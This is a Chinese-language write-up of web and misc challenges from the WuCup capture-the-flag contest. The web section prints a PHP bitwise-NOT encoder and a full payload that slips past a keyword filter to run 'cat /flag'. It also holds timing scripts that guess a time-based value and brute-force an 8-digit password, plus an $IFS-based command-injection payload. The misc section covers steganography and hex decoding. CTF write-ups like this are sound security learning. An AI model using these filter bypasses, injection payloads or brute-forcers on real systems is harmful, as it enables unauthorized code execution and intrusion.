Web
HelloHacker
害,这玩意搞了大半天,以为啥都过滤了,用了passthru,结果只能ls以下,最后没想到;和%没被过滤,试了取反结果成功了。能力还有待加强(
php代码审计,首先要post请求incompetent=HelloHacker
绕过第一个if,然后WuCup参数要包含required_chars中的字母并且都排列在一起,然后第三个if是在prohibited.txt中的字符串不能在WuCup中出现,那么prohibited.txt中肯定有一个排列组合是没有的,由此根据可以写一个python脚本来排列组合并对比
python排列组合exp如下
import itertools
def read(file_path):
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read().splitlines()
# 去除字符串中的空格和换行符,并转换为集合
cleaned_content = {''.join(s.split()) for s in content}
return cleaned_content
def plzh(letters):
# 给字母排列组合
all_permutations = {''.join(p) for p in itertools.permutations(letters)}
return all_permutations
def find(txt_content, all_permutations):
# 找出文件中没有的全排列
missing_permutations = all_permutations - txt_content
return missing_permutations
def main():
txt_file_path = '1.txt'
letters = 'pevanxroz'
txt_content = read(txt_file_path)
all_permutations = plzh(letters)
missing_permutations = find(txt_content, all_permutations)
print(f"Total possible permutations: {len(all_permutations)}")
print(f"Missing permutations in the txt file: {len(missing_permutations)}")
if missing_permutations:
print("Missing permutations:")
for permutation in missing_permutations:
print(permutation)
else:
print("The txt file contains all possible permutations.")
if __name__ == "__main__":
main()
运行得出
然后查看prohibited.txt发现waf了许多关键字,这时候我们用取反来绕过,这里使用passthrc来绕过
取反python exp如下
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
则得出完整payload
incompetent=HelloHacker&WuCup=oxzverapn;(~%8F%9E%8C%8C%8B%97%8D%8A)(~%9C%9E%8B%DF%D0%99%93%9E%98);
Sign
看了一眼没思路(,看着kuku拿血,看passwd越看越不对劲
看到这没思路,但是passwd除了ssh还有蚁剑!doge
然后蚁剑一键连接就好啦
TimeCage
属实也是打上没回显了,w36师傅激情秒题 )
代码审计,是利用时间控制,秒数等于0是,随机数恒等于114
exp如下,考虑到服务器时间和实际时间会有偏差,则我们尝试前后几秒差情况,这里测试2秒误差
import time
import requests
url = "http://challenge.wucup.cn:22723/" # 目标地址
payload = {"input": "114"}
# 持续尝试多秒范围
while True:
current_time = time.localtime() # 获取本地时间
for offset in range(-2, 3): # 尝试时间偏移 [-2秒, +2秒]
simulated_second = (current_time.tm_sec + offset) % 60
if simulated_second == 0: # 模拟秒数为 0
response = requests.get(url, params=payload)
print(f"Trying with offset {offset}: {response.text}")
if "The next challenge" in response.text:
print("[SUCCESS] Found the key!")
exit()
time.sleep(0.1)
然后进入第二关要脚本爆破8位数数字密码
exp如下
import time
import requests
# 设置目标 URL
url = "http://challenge.wucup.cn:22723/Trapping2147483647.php" # 替换为实际目标 URL
# 初始化变量
password_length = 8 # 密码长度
password = "" # 存储已破解的密码部分
# 逐位破解密码
for position in range(password_length):
for digit in range(10): # 尝试每一位的数字 (0-9)
# 构造当前测试密码
test_pass = password + str(digit) # 当前密码已知部分加上尝试的数字
test_pass = test_pass.ljust(password_length, "0") # 补足长度为8
# 记录开始时间
start_time = time.time()
# 发送 POST 请求
response = requests.post(url, data={"pass": test_pass})
# 记录结束时间
elapsed_time = time.time() - start_time
print(f"Testing: {test_pass}, Time: {elapsed_time:.2f}s, Response: {response.text.strip()}")
# 判断当前位是否正确
if elapsed_time > (position + 1): # 每正确一个字符,延迟会逐渐增加
password += str(digit)
print(f"Found digit: {digit}, Current password: {password}")
break
# 输出完整密码
print(f"Cracked password: {password}")
第三关RCE漏洞
payloadscat$IFS$9/flag|tee$IFS$9index.php
无回显带出到index.php
访问index.php得到flag
Misc
Sign
得到
57754375707B64663335376434372D333163622D343261382D616130632D3634333036333464646634617D
发现是Base16加密,解密即可得到flag
原神启动!
绕死我了,一开始没发现藏在document中的key,还以为test.zip是爆破(,兜兜转转只有misc能拿分了。
下载得到一个png和一个zip(加密)
分析png,可能是lsb隐写,用Stegsolve在Redplane2通道看到密码
解压压缩包,doc文件用010editor发现是zip文件,修改后缀解压得一个文件夹
在/word/media中发现一张图片,隐写,放到Stegsolve中在Gray bits下看的最清晰
然后我们还可以在/word/document.xml中看到另一个密码
整理得到WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}
然后img.zip的密码是/word/media中照片隐写的密码
解压img.zip得到test.zip
img.zip解压后的test.zip的密码是document.xml中的密码
解压test.zip得到